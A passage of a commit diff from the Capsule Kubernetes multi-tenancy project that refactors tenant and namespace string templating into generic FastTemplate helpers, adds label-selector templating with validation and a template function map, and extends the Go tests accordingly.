    +		if combined.Matches(labels.Set{"b": "2"}) {
    +			t.Fatalf("expected not to match when a is missing")
    +		}
    +		if combined.Matches(labels.Set{"a": "1", "b": "3"}) {
    +			t.Fatalf("expected not to match when b mismatches")
    +		}
    +	})
    +
    +	t.Run("conflicting selectors match nothing", func(t *testing.T) {
    +		t.Parallel()
    +
    +		s1 := labels.SelectorFromSet(labels.Set{"a": "1"})
    +		s2 := labels.SelectorFromSet(labels.Set{"a": "2"})
    +
    +		combined := selectors.CombineSelectors(s1, s2)
    +
    +		if combined.Matches(labels.Set{"a": "1"}) {
    +			t.Fatalf("expected not to match due to conflict (a=1 AND a=2)")
    +		}
    +		if combined.Matches(labels.Set{"a": "2"}) {
    +			t.Fatalf("expected not to match due to conflict (a=1 AND a=2)")
    +		}
    +	})
    +
    +	t.Run("non-selectable selector returns Nothing", func(t *testing.T) {
    +		t.Parallel()
    +
    +		// labels.Nothing() is not selectable (Requirements() => selectable=false).
    +		combined := selectors.CombineSelectors(labels.SelectorFromSet(labels.Set{"a": "1"}), labels.Nothing())
    +
    +		if combined.String() != labels.Nothing().String() {
    +			t.Fatalf("expected labels.Nothing() selector, got %q", combined.String())
    +		}
    +		if combined.Matches(labels.Set{"a": "1"}) {
    +			t.Fatalf("expected Nothing selector to match nothing")
    +		}
    +		if combined.Matches(labels.Set{}) {
    +			t.Fatalf("expected Nothing selector to match nothing (even empty set)")
    +		}
    +	})
    +
    +	t.Run("output selector is independent from input mutation patterns", func(t *testing.T) {
    +		t.Parallel()
    +
    +		// This is a light regression guard: we depend on CombineSelectors turning input
    +		// selectors into requirements, not keeping references to the original selector objects.
    +		in := labels.SelectorFromSet(labels.Set{"a": "1"})
    +		out := selectors.CombineSelectors(in)
    +
    +		if !out.Matches(labels.Set{"a": "1"}) {
    +			t.Fatalf("expected out to match a=1")
    +		}
    +		if out.Matches(labels.Set{"a": "2"}) {
    +			t.Fatalf("expected out not to match a=2")
    +		}
    +	})
    +}
    
  • pkg/template/fast.go+78 18 modified
    @@ -4,49 +4,109 @@
     package template
     
     import (
    +	"fmt"
     	"io"
    -	"maps"
    +	"slices"
     	"strings"
     
     	"github.com/valyala/fasttemplate"
    -	corev1 "k8s.io/api/core/v1"
    -
    -	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
     )
     
    -// TemplateForTenantAndNamespace applies templatingto the provided string.
    -func TemplateForTenantAndNamespace(template string, tnt *capsulev1beta2.Tenant, ns *corev1.Namespace) string {
    -	if !strings.Contains(template, "{{") && !strings.Contains(template, "}}") {
    +// RequiresFastTemplate evaluates if given string requires templating.
    +func RequiresFastTemplate(
    +	template string,
    +) bool {
    +	return strings.Contains(template, "{{") && strings.Contains(template, "}}")
    +}
    +
    +// FastTemplate applies templating to the provided string.
    +func FastTemplate(
    +	template string,
    +	templateContext map[string]string,
    +) string {
    +	if !RequiresFastTemplate(template) {
     		return template
     	}
     
     	t := fasttemplate.New(template, "{{", "}}")
     
    -	values := map[string]string{
    -		"tenant.name": tnt.Name,
    -		"namespace":   ns.Name,
    -	}
    -
     	return t.ExecuteFuncString(func(w io.Writer, tag string) (int, error) {
     		key := strings.TrimSpace(tag)
    -		if v, ok := values[key]; ok {
    +		if v, ok := templateContext[key]; ok {
     			return w.Write([]byte(v))
     		}
     
     		return 0, nil
     	})
     }
     
    -// TemplateForTenantAndNamespace applies templating to all values in the provided map in place.
    -func TemplateForTenantAndNamespaceMap(m map[string]string, tnt *capsulev1beta2.Tenant, ns *corev1.Namespace) map[string]string {
    +// FastTemplateMap applies templating to all values in the provided map in place.
    +func FastTemplateMap(
    +	m map[string]string,
    +	templateContext map[string]string,
    +) map[string]string {
     	if len(m) == 0 {
     		return map[string]string{}
     	}
     
    -	out := maps.Clone(m)
    -	for k, v := range out {
    -		out[k] = TemplateForTenantAndNamespace(v, tnt, ns)
    +	out := make(map[string]string, len(m))
    +	for k, v := range m {
    +		out[FastTemplate(k, templateContext)] = FastTemplate(v, templateContext)
     	}
     
     	return out
     }
    +
    +// FastTemplateMap evaluates if given LabelSelector requires templating.
    +func SelectorRequiresTemplating(sel *metav1.LabelSelector) bool {
    +	if sel == nil {
    +		return false
    +	}
    +
    +	for k, v := range sel.MatchLabels {
    +		if RequiresFastTemplate(k) || RequiresFastTemplate(v) {
    +			return true
    +		}
    +	}
    +
    +	for _, expr := range sel.MatchExpressions {
    +		if RequiresFastTemplate(expr.Key) {
    +			return true
    +		}
    +
    +		if slices.ContainsFunc(expr.Values, RequiresFastTemplate) {
    +			return true
    +		}
    +	}
    +
    +	return false
    +}
    +
    +// FastTemplateMap templates a Labelselector (all keys and values).
    +func FastTemplateLabelSelector(
    +	in *metav1.LabelSelector,
    +	templateContext map[string]string,
    +) (*metav1.LabelSelector, error) {
    +	if in == nil {
    +		return nil, nil
    +	}
    +
    +	out := in.DeepCopy()
    +
    +	out.MatchLabels = FastTemplateMap(in.MatchLabels, templateContext)
    +
    +	for i := range out.MatchExpressions {
    +		out.MatchExpressions[i].Key = FastTemplate(out.MatchExpressions[i].Key, templateContext)
    +
    +		for j := range out.MatchExpressions[i].Values {
    +			out.MatchExpressions[i].Values[j] = FastTemplate(out.MatchExpressions[i].Values[j], templateContext)
    +		}
    +	}
    +
    +	if _, err := metav1.LabelSelectorAsSelector(out); err != nil {
    +		return nil, fmt.Errorf("templated label selector is invalid: %w", err)
    +	}
    +
    +	return out, nil
    +}
    
  • pkg/template/fast_test.go+333 56 modified
    @@ -1,4 +1,4 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     package template_test
    @@ -7,33 +7,98 @@ import (
     	"sync"
     	"testing"
     
    -	v1 "k8s.io/api/core/v1"
     	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
     
    -	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	tpl "github.com/projectcapsule/capsule/pkg/template"
     )
     
    -func newTenant(name string) *capsulev1beta2.Tenant {
    -	return &capsulev1beta2.Tenant{
    -		ObjectMeta: metav1.ObjectMeta{Name: name},
    -	}
    -}
    -
    -func newNamespace(name string) *v1.Namespace {
    -	return &v1.Namespace{
    -		ObjectMeta: metav1.ObjectMeta{Name: name},
    +func TestRequiresFastTemplate(t *testing.T) {
    +	t.Parallel()
    +
    +	tests := []struct {
    +		name     string
    +		input    string
    +		expected bool
    +	}{
    +		{
    +			name:     "no braces",
    +			input:    "plain text with no template markers",
    +			expected: false,
    +		},
    +		{
    +			name:     "only opening braces",
    +			input:    "value with {{ but no closing",
    +			expected: false,
    +		},
    +		{
    +			name:     "only closing braces",
    +			input:    "value with }} but no opening",
    +			expected: false,
    +		},
    +		{
    +			name:     "proper template expression",
    +			input:    "hello {{ .Name }}",
    +			expected: true,
    +		},
    +		{
    +			name:     "multiple template expressions",
    +			input:    "{{ .A }} and {{ .B }}",
    +			expected: true,
    +		},
    +		{
    +			name:     "braces without spaces",
    +			input:    "{{.Value}}",
    +			expected: true,
    +		},
    +		{
    +			name:     "empty string",
    +			input:    "",
    +			expected: false,
    +		},
    +		{
    +			name:     "only opening and closing braces but separated",
    +			input:    "text {{ middle }} end",
    +			expected: true,
    +		},
    +		{
    +			name:     "single braces not considered template",
    +			input:    "{ value }",
    +			expected: false,
    +		},
    +		{
    +			name:     "nested braces",
    +			input:    "{{ {{ .Nested }} }}",
    +			expected: true,
    +		},
    +	}
    +
    +	for _, tt := range tests {
    +		tt := tt // capture range variable
    +		t.Run(tt.name, func(t *testing.T) {
    +			t.Parallel()
    +
    +			got := tpl.RequiresFastTemplate(tt.input)
    +			if got != tt.expected {
    +				t.Fatalf(
    +					"RequiresFastTemplate(%q) = %v, expected %v",
    +					tt.input,
    +					got,
    +					tt.expected,
    +				)
    +			}
    +		})
     	}
     }
     
     func TestTemplateForTenantAndNamespace_ReplacesPlaceholders(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
    -	got := tpl.TemplateForTenantAndNamespace(
    +	got := tpl.FastTemplate(
     		"tenant={{tenant.name}}, ns={{namespace}}",
    -		tnt,
    -		ns,
    +		tplContext,
     	)
     
     	want := "tenant=tenant-a, ns=ns-1"
    @@ -43,13 +108,14 @@ func TestTemplateForTenantAndNamespace_ReplacesPlaceholders(t *testing.T) {
     }
     
     func TestTemplateForTenantAndNamespace_ReplacesPlaceholdersSpaces(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
    -	got := tpl.TemplateForTenantAndNamespace(
    +	got := tpl.FastTemplate(
     		"tenant={{ tenant.name }}, ns={{ namespace }}",
    -		tnt,
    -		ns,
    +		tplContext,
     	)
     
     	want := "tenant=tenant-a, ns=ns-1"
    @@ -59,10 +125,12 @@ func TestTemplateForTenantAndNamespace_ReplacesPlaceholdersSpaces(t *testing.T)
     }
     
     func TestTemplateForTenantAndNamespace_OnlyTenant(t *testing.T) {
    -	tnt := newTenant("tenant-x")
    -	ns := newNamespace("ns-y")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-x",
    +		"namespace":   "ns-y",
    +	}
     
    -	got := tpl.TemplateForTenantAndNamespace("T={{tenant.name}}", tnt, ns)
    +	got := tpl.FastTemplate("T={{tenant.name}}", tplContext)
     	want := "T=tenant-x"
     
     	if got != want {
    @@ -71,10 +139,12 @@ func TestTemplateForTenantAndNamespace_OnlyTenant(t *testing.T) {
     }
     
     func TestTemplateForTenantAndNamespace_OnlyNamespace(t *testing.T) {
    -	tnt := newTenant("tenant-x")
    -	ns := newNamespace("ns-y")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-x",
    +		"namespace":   "ns-y",
    +	}
     
    -	got := tpl.TemplateForTenantAndNamespace("N={{namespace}}", tnt, ns)
    +	got := tpl.FastTemplate("N={{namespace}}", tplContext)
     	want := "N=ns-y"
     
     	if got != want {
    @@ -83,22 +153,26 @@ func TestTemplateForTenantAndNamespace_OnlyNamespace(t *testing.T) {
     }
     
     func TestTemplateForTenantAndNamespace_NoDelimiters_ReturnsInput(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
     	in := "plain-value-without-templates"
    -	got := tpl.TemplateForTenantAndNamespace(in, tnt, ns)
    +	got := tpl.FastTemplate(in, tplContext)
     
     	if got != in {
     		t.Fatalf("expected %q, got %q", in, got)
     	}
     }
     
     func TestTemplateForTenantAndNamespace_UnknownKeyBecomesEmpty(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
    -	got := tpl.TemplateForTenantAndNamespace("X={{unknown.key}}", tnt, ns)
    +	got := tpl.FastTemplate("X={{unknown.key}}", tplContext)
     	want := "X="
     
     	if got != want {
    @@ -107,15 +181,17 @@ func TestTemplateForTenantAndNamespace_UnknownKeyBecomesEmpty(t *testing.T) {
     }
     
     func TestTemplateForTenantAndNamespaceMap_ReplacesPlaceholders(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
     	orig := map[string]string{
     		"key1": "tenant={{tenant.name}}, ns={{namespace}}",
     		"key2": "plain-value",
     	}
     
    -	out := tpl.TemplateForTenantAndNamespaceMap(orig, tnt, ns)
    +	out := tpl.FastTemplateMap(orig, tplContext)
     
     	// output is templated
     	if got := out["key1"]; got != "tenant=tenant-a, ns=ns-1" {
    @@ -132,15 +208,17 @@ func TestTemplateForTenantAndNamespaceMap_ReplacesPlaceholders(t *testing.T) {
     }
     
     func TestTemplateForTenantAndNamespaceMap_ReplacesPlaceholdersSpaces(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
     	orig := map[string]string{
     		"key1": "tenant={{ tenant.name }}, ns={{ namespace }}",
     		"key2": "plain-value",
     	}
     
    -	out := tpl.TemplateForTenantAndNamespaceMap(orig, tnt, ns)
    +	out := tpl.FastTemplateMap(orig, tplContext)
     
     	if got := out["key1"]; got != "tenant=tenant-a, ns=ns-1" {
     		t.Fatalf("key1: expected %q, got %q", "tenant=tenant-a, ns=ns-1", got)
    @@ -156,16 +234,18 @@ func TestTemplateForTenantAndNamespaceMap_ReplacesPlaceholdersSpaces(t *testing.
     }
     
     func TestTemplateForTenantAndNamespaceMap_TransformsValuesWithDelimiters(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
     	orig := map[string]string{
     		"t1": "hello {{tenant.name}}",
     		"t2": "namespace {{namespace}}",
     		"t3": "static",
     	}
     
    -	out := tpl.TemplateForTenantAndNamespaceMap(orig, tnt, ns)
    +	out := tpl.FastTemplateMap(orig, tplContext)
     
     	if got := out["t1"]; got != "hello tenant-a" {
     		t.Fatalf("t1: expected %q, got %q", "hello tenant-a", got)
    @@ -179,16 +259,18 @@ func TestTemplateForTenantAndNamespaceMap_TransformsValuesWithDelimiters(t *test
     }
     
     func TestTemplateForTenantAndNamespaceMap_MixedKeys(t *testing.T) {
    -	tnt := newTenant("tenant-x")
    -	ns := newNamespace("ns-x")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-x",
    +		"namespace":   "ns-x",
    +	}
     
     	orig := map[string]string{
     		"onlyTenant": "T={{ tenant.name }}",
     		"onlyNS":     "N={{ namespace }}",
     		"none":       "static",
     	}
     
    -	out := tpl.TemplateForTenantAndNamespaceMap(orig, tnt, ns)
    +	out := tpl.FastTemplateMap(orig, tplContext)
     
     	if got := out["onlyTenant"]; got != "T=tenant-x" {
     		t.Fatalf("onlyTenant: expected %q, got %q", "T=tenant-x", got)
    @@ -202,26 +284,30 @@ func TestTemplateForTenantAndNamespaceMap_MixedKeys(t *testing.T) {
     }
     
     func TestTemplateForTenantAndNamespaceMap_UnknownKeyBecomesEmpty(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
     	orig := map[string]string{
     		"unknown": "X={{ unknown.key }}",
     	}
     
    -	out := tpl.TemplateForTenantAndNamespaceMap(orig, tnt, ns)
    +	out := tpl.FastTemplateMap(orig, tplContext)
     
     	if got := out["unknown"]; got != "X=" {
     		t.Fatalf("unknown: expected %q, got %q", "X=", got)
     	}
     }
     
     func TestTemplateForTenantAndNamespaceMap_EmptyOrNilInput(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
     	// nil map
    -	outNil := tpl.TemplateForTenantAndNamespaceMap(nil, tnt, ns)
    +	outNil := tpl.FastTemplateMap(nil, tplContext)
     	if outNil == nil {
     		t.Fatalf("expected non-nil map for nil input")
     	}
    @@ -230,7 +316,7 @@ func TestTemplateForTenantAndNamespaceMap_EmptyOrNilInput(t *testing.T) {
     	}
     
     	// empty map
    -	outEmpty := tpl.TemplateForTenantAndNamespaceMap(map[string]string{}, tnt, ns)
    +	outEmpty := tpl.FastTemplateMap(map[string]string{}, tplContext)
     	if outEmpty == nil || len(outEmpty) != 0 {
     		t.Fatalf("expected empty map, got %v", outEmpty)
     	}
    @@ -239,8 +325,10 @@ func TestTemplateForTenantAndNamespaceMap_EmptyOrNilInput(t *testing.T) {
     // Concurrency test: should never panic with "concurrent map writes"
     // Run with: go test -race ./...
     func TestTemplateForTenantAndNamespaceMap_Concurrency(t *testing.T) {
    -	tnt := newTenant("tenant-a")
    -	ns := newNamespace("ns-1")
    +	tplContext := map[string]string{
    +		"tenant.name": "tenant-a",
    +		"namespace":   "ns-1",
    +	}
     
     	// Shared input map across goroutines (this used to be unsafe if the function mutated in-place)
     	shared := map[string]string{
    @@ -259,7 +347,7 @@ func TestTemplateForTenantAndNamespaceMap_Concurrency(t *testing.T) {
     		go func() {
     			defer wg.Done()
     			for j := 0; j < iterations; j++ {
    -				out := tpl.TemplateForTenantAndNamespaceMap(shared, tnt, ns)
    +				out := tpl.FastTemplateMap(shared, tplContext)
     
     				// sanity checks
     				if out["k1"] != "tenant=tenant-a" {
    @@ -288,3 +376,192 @@ func TestTemplateForTenantAndNamespaceMap_Concurrency(t *testing.T) {
     		t.Fatalf("input map mutated under concurrency: k2=%q", shared["k2"])
     	}
     }
    +
    +func TestFastTemplateLabelSelector(t *testing.T) {
    +	t.Parallel()
    +
    +	t.Run("nil selector returns nil, nil", func(t *testing.T) {
    +		t.Parallel()
    +
    +		got, err := tpl.FastTemplateLabelSelector(nil, map[string]string{"x": "y"})
    +		if err != nil {
    +			t.Fatalf("expected err=nil, got %v", err)
    +		}
    +		if got != nil {
    +			t.Fatalf("expected selector=nil, got %#v", got)
    +		}
    +	})
    +
    +	t.Run("does not mutate input (deep copy)", func(t *testing.T) {
    +		t.Parallel()
    +
    +		in := &metav1.LabelSelector{
    +			MatchLabels: map[string]string{
    +				"created-by": "{{ controller }}",
    +			},
    +			MatchExpressions: []metav1.LabelSelectorRequirement{
    +				{
    +					Key:      "{{ key }}",
    +					Operator: metav1.LabelSelectorOpIn,
    +					Values:   []string{"{{ v1 }}", "{{ v2 }}"},
    +				},
    +			},
    +		}
    +
    +		ctx := map[string]string{
    +			"controller": "capsule",
    +			"key":        "env",
    +			"v1":         "prod",
    +			"v2":         "staging",
    +		}
    +
    +		orig := in.DeepCopy()
    +
    +		got, err := tpl.FastTemplateLabelSelector(in, ctx)
    +		if err != nil {
    +			t.Fatalf("expected err=nil, got %v", err)
    +		}
    +		if got == nil {
    +			t.Fatalf("expected non-nil selector")
    +		}
    +
    +		// Input must remain unchanged
    +		if in.MatchLabels["created-by"] != orig.MatchLabels["created-by"] {
    +			t.Fatalf("input was mutated: MatchLabels value changed from %q to %q", orig.MatchLabels["created-by"], in.MatchLabels["created-by"])
    +		}
    +		if in.MatchExpressions[0].Key != orig.MatchExpressions[0].Key {
    +			t.Fatalf("input was mutated: MatchExpressions[0].Key changed from %q to %q", orig.MatchExpressions[0].Key, in.MatchExpressions[0].Key)
    +		}
    +		if in.MatchExpressions[0].Values[0] != orig.MatchExpressions[0].Values[0] ||
    +			in.MatchExpressions[0].Values[1] != orig.MatchExpressions[0].Values[1] {
    +			t.Fatalf("input was mutated: MatchExpressions[0].Values changed from %#v to %#v", orig.MatchExpressions[0].Values, in.MatchExpressions[0].Values)
    +		}
    +
    +		// Output should be templated
    +		if got.MatchLabels["created-by"] != "capsule" {
    +			t.Fatalf("expected templated MatchLabels[created-by]=capsule, got %q", got.MatchLabels["created-by"])
    +		}
    +		if got.MatchExpressions[0].Key != "env" {
    +			t.Fatalf("expected templated MatchExpressions[0].Key=env, got %q", got.MatchExpressions[0].Key)
    +		}
    +		if len(got.MatchExpressions[0].Values) != 2 || got.MatchExpressions[0].Values[0] != "prod" || got.MatchExpressions[0].Values[1] != "staging" {
    +			t.Fatalf("expected templated values [prod staging], got %#v", got.MatchExpressions[0].Values)
    +		}
    +	})
    +
    +	t.Run("templates matchLabels keys and values via FastTemplateMap", func(t *testing.T) {
    +		t.Parallel()
    +
    +		in := &metav1.LabelSelector{
    +			MatchLabels: map[string]string{
    +				"{{ k1 }}": "{{ v1 }}",
    +				"static":   "{{ v2 }}",
    +			},
    +		}
    +
    +		ctx := map[string]string{
    +			"k1": "app",
    +			"v1": "demo",
    +			"v2": "x",
    +		}
    +
    +		got, err := tpl.FastTemplateLabelSelector(in, ctx)
    +		if err != nil {
    +			t.Fatalf("expected err=nil, got %v", err)
    +		}
    +		if got == nil {
    +			t.Fatalf("expected non-nil selector")
    +		}
    +
    +		if _, ok := got.MatchLabels["app"]; !ok {
    +			t.Fatalf("expected templated key 'app' to exist; got keys: %#v", got.MatchLabels)
    +		}
    +		if got.MatchLabels["app"] != "demo" {
    +			t.Fatalf("expected MatchLabels[app]=demo, got %q", got.MatchLabels["app"])
    +		}
    +		if got.MatchLabels["static"] != "x" {
    +			t.Fatalf("expected MatchLabels[static]=x, got %q", got.MatchLabels["static"])
    +		}
    +	})
    +
    +	t.Run("templates matchExpressions key and values", func(t *testing.T) {
    +		t.Parallel()
    +
    +		in := &metav1.LabelSelector{
    +			MatchExpressions: []metav1.LabelSelectorRequirement{
    +				{
    +					Key:      "tier-{{ t }}",
    +					Operator: metav1.LabelSelectorOpIn,
    +					Values:   []string{"{{ a }}", "{{ b }}"},
    +				},
    +			},
    +		}
    +
    +		ctx := map[string]string{"t": "id", "a": "gold", "b": "silver"}
    +
    +		got, err := tpl.FastTemplateLabelSelector(in, ctx)
    +		if err != nil {
    +			t.Fatalf("expected err=nil, got %v", err)
    +		}
    +
    +		if got.MatchExpressions[0].Key != "tier-id" {
    +			t.Fatalf("expected key=tier-id, got %q", got.MatchExpressions[0].Key)
    +		}
    +		if got.MatchExpressions[0].Values[0] != "gold" || got.MatchExpressions[0].Values[1] != "silver" {
    +			t.Fatalf("expected values [gold silver], got %#v", got.MatchExpressions[0].Values)
    +		}
    +	})
    +
    +	t.Run("returns error when templating produces invalid selector (empty key)", func(t *testing.T) {
    +		t.Parallel()
    +
    +		// After templating, Key becomes empty which is invalid for a selector.
    +		in := &metav1.LabelSelector{
    +			MatchExpressions: []metav1.LabelSelectorRequirement{
    +				{
    +					Key:      "{{ missing }}",
    +					Operator: metav1.LabelSelectorOpExists,
    +				},
    +			},
    +		}
    +
    +		got, err := tpl.FastTemplateLabelSelector(in, map[string]string{})
    +		if err == nil {
    +			t.Fatalf("expected error, got nil (selector=%#v)", got)
    +		}
    +	})
    +
    +	t.Run("key overwrite risk: two templated keys collapse into one without error", func(t *testing.T) {
    +		t.Parallel()
    +
    +		// This test documents current behavior (no collision protection).
    +		// Both keys template to "app". The resulting map will have a single entry.
    +		in := &metav1.LabelSelector{
    +			MatchLabels: map[string]string{
    +				"{{ k1 }}": "v1",
    +				"{{ k2 }}": "v2",
    +			},
    +		}
    +
    +		ctx := map[string]string{"k1": "app", "k2": "app"}
    +
    +		got, err := tpl.FastTemplateLabelSelector(in, ctx)
    +		if err != nil {
    +			t.Fatalf("expected err=nil, got %v", err)
    +		}
    +		if got == nil {
    +			t.Fatalf("expected non-nil selector")
    +		}
    +
    +		// Only one key should remain due to collision overwrite behavior.
    +		if len(got.MatchLabels) != 1 {
    +			t.Fatalf("expected 1 key after collision, got %d (%#v)", len(got.MatchLabels), got.MatchLabels)
    +		}
    +		if _, ok := got.MatchLabels["app"]; !ok {
    +			t.Fatalf("expected final key 'app' to exist, got %#v", got.MatchLabels)
    +		}
    +
    +		// We intentionally do NOT assert which value wins since map iteration order is randomized.
    +		// This is exactly the risk you mentioned; the test makes it visible.
    +	})
    +}
    
  • pkg/template/funcmap.go+159 0 added
    @@ -0,0 +1,159 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +package template
    +
    +import (
    +	"bytes"
    +	"encoding/json"
    +	"maps"
    +	"strings"
    +	"text/template"
    +
    +	"github.com/BurntSushi/toml"
    +	"github.com/go-sprout/sprout/sprigin"
    +	"sigs.k8s.io/yaml"
    +)
    +
    +// TxtFuncMap returns an aggregated template function map. Currently (custom functions + sprig).
    +func ExtraFuncMap() template.FuncMap {
    +	funcMap := sprigin.FuncMap()
    +
    +	extraFuncs := template.FuncMap{
    +		"toToml":        toTOML,
    +		"fromToml":      fromTOML,
    +		"toYaml":        toYAML,
    +		"fromYaml":      fromYAML,
    +		"fromYamlArray": fromYAMLArray,
    +		"toJson":        toJSON,
    +		"fromJson":      fromJSON,
    +		"fromJsonArray": fromJSONArray,
    +	}
    +
    +	maps.Copy(funcMap, extraFuncs)
    +
    +	return funcMap
    +}
    +
    +// toYAML takes an interface, marshals it to yaml, and returns a string. It will
    +// always return a string, even on marshal error (empty string).
    +//
    +// This is designed to be called from a template.
    +func toYAML(v any) string {
    +	data, err := yaml.Marshal(v)
    +	if err != nil {
    +		// Swallow errors inside of a template.
    +		return ""
    +	}
    +
    +	return strings.TrimSuffix(string(data), "\n")
    +}
    +
    +// fromYAML converts a YAML document into a map[string]interface{}.
    +//
    +// This is not a general-purpose YAML parser, and will not parse all valid
    +// YAML documents. Additionally, because its intended use is within templates
    +// it tolerates errors. It will insert the returned error message string into
    +// m["Error"] in the returned map.
    +func fromYAML(str string) map[string]any {
    +	m := map[string]any{}
    +
    +	if err := yaml.Unmarshal([]byte(str), &m); err != nil {
    +		m["Error"] = err.Error()
    +	}
    +
    +	return m
    +}
    +
    +// fromYAMLArray converts a YAML array into a []interface{}.
    +//
    +// This is not a general-purpose YAML parser, and will not parse all valid
    +// YAML documents. Additionally, because its intended use is within templates
    +// it tolerates errors. It will insert the returned error message string as
    +// the first and only item in the returned array.
    +func fromYAMLArray(str string) []any {
    +	a := []any{}
    +
    +	if err := yaml.Unmarshal([]byte(str), &a); err != nil {
    +		a = []any{err.Error()}
    +	}
    +
    +	return a
    +}
    +
    +// toTOML takes an interface, marshals it to toml, and returns a string. It will
    +// always return a string, even on marshal error (empty string).
    +//
    +// This is designed to be called from a template.
    +func toTOML(v any) string {
    +	b := bytes.NewBuffer(nil)
    +	e := toml.NewEncoder(b)
    +
    +	err := e.Encode(v)
    +	if err != nil {
    +		return err.Error()
    +	}
    +
    +	return b.String()
    +}
    +
    +// fromTOML converts a TOML document into a map[string]interface{}.
    +//
    +// This is not a general-purpose TOML parser, and will not parse all valid
    +// TOML documents. Additionally, because its intended use is within templates
    +// it tolerates errors. It will insert the returned error message string into
    +// m["Error"] in the returned map.
    +func fromTOML(str string) map[string]any {
    +	m := make(map[string]any)
    +
    +	if err := toml.Unmarshal([]byte(str), &m); err != nil {
    +		m["Error"] = err.Error()
    +	}
    +
    +	return m
    +}
    +
    +// toJSON takes an interface, marshals it to json, and returns a string. It will
    +// always return a string, even on marshal error (empty string).
    +//
    +// This is designed to be called from a template.
    +func toJSON(v any) string {
    +	data, err := json.Marshal(v)
    +	if err != nil {
    +		// Swallow errors inside of a template.
    +		return ""
    +	}
    +
    +	return string(data)
    +}
    +
    +// fromJSON converts a JSON document into a map[string]interface{}.
    +//
    +// This is not a general-purpose JSON parser, and will not parse all valid
    +// JSON documents. Additionally, because its intended use is within templates
    +// it tolerates errors. It will insert the returned error message string into
    +// m["Error"] in the returned map.
    +func fromJSON(str string) map[string]any {
    +	m := make(map[string]any)
    +
    +	if err := json.Unmarshal([]byte(str), &m); err != nil {
    +		m["Error"] = err.Error()
    +	}
    +
    +	return m
    +}
    +
    +// fromJSONArray converts a JSON array into a []interface{}.
    +//
    +// This is not a general-purpose JSON parser, and will not parse all valid
    +// JSON documents. Additionally, because its intended use is within templates
    +// it tolerates errors. It will insert the returned error message string as
    +// the first and only item in the returned array.
    +func fromJSONArray(str string) []any {
    +	a := []any{}
    +
    +	if err := json.Unmarshal([]byte(str), &a); err != nil {
    +		a = []any{err.Error()}
    +	}
    +
    +	return a
    +}
    
  • pkg/template/reference_context.go+130 0 added
    @@ -0,0 +1,130 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package template
    +
    +import (
    +	"bytes"
    +	"context"
    +	"encoding/json"
    +	"fmt"
    +	"strconv"
    +	"text/template"
    +
    +	k8smeta "k8s.io/apimachinery/pkg/api/meta"
    +	"k8s.io/apimachinery/pkg/labels"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/sanitize"
    +)
    +
    +// Additional Context to enhance templating
    +// +kubebuilder:object:generate=true
    +type TemplateContext struct {
    +	Resources []*TemplateResourceReference `json:"resources,omitempty"`
    +}
    +
    +// +kubebuilder:object:generate=true
    +type TemplateResourceReference struct {
    +	ResourceReference `json:",inline"`
    +
    +	// Index to mount the resource in the template context
    +	Index string `json:"index,omitempty"`
    +}
    +
    +func (t *TemplateContext) GatherContext(
    +	ctx context.Context,
    +	kubeClient client.Client,
    +	restMapper k8smeta.RESTMapper,
    +	data map[string]any,
    +	namespace string,
    +	additionSelectors []labels.Selector,
    +) (context ReferenceContext, errors []error) {
    +	context = ReferenceContext{}
    +
    +	if t.Resources == nil {
    +		return
    +	}
    +
    +	// Template Context for Tenant
    +	if len(data) != 0 {
    +		if err := t.selfTemplate(data); err != nil {
    +			return context, []error{fmt.Errorf("cloud not template: %w", err)}
    +		}
    +	}
    +
    +	// Load external Resources
    +	for index, resource := range t.Resources {
    +		res, err := resource.LoadResources(ctx, kubeClient, restMapper, namespace, additionSelectors, map[string]string{}, true)
    +		if err != nil {
    +			errors = append(errors, err)
    +
    +			continue
    +		}
    +
    +		if len(res) > 0 {
    +			resourceIndex := resource.Index
    +			if resourceIndex == "" {
    +				resourceIndex = strconv.Itoa(index)
    +			}
    +
    +			for _, u := range res {
    +				sanitize.SanitizeUnstructured(u, sanitize.DefaultSanitizeOptions())
    +			}
    +
    +			context[resourceIndex] = res
    +		}
    +	}
    +
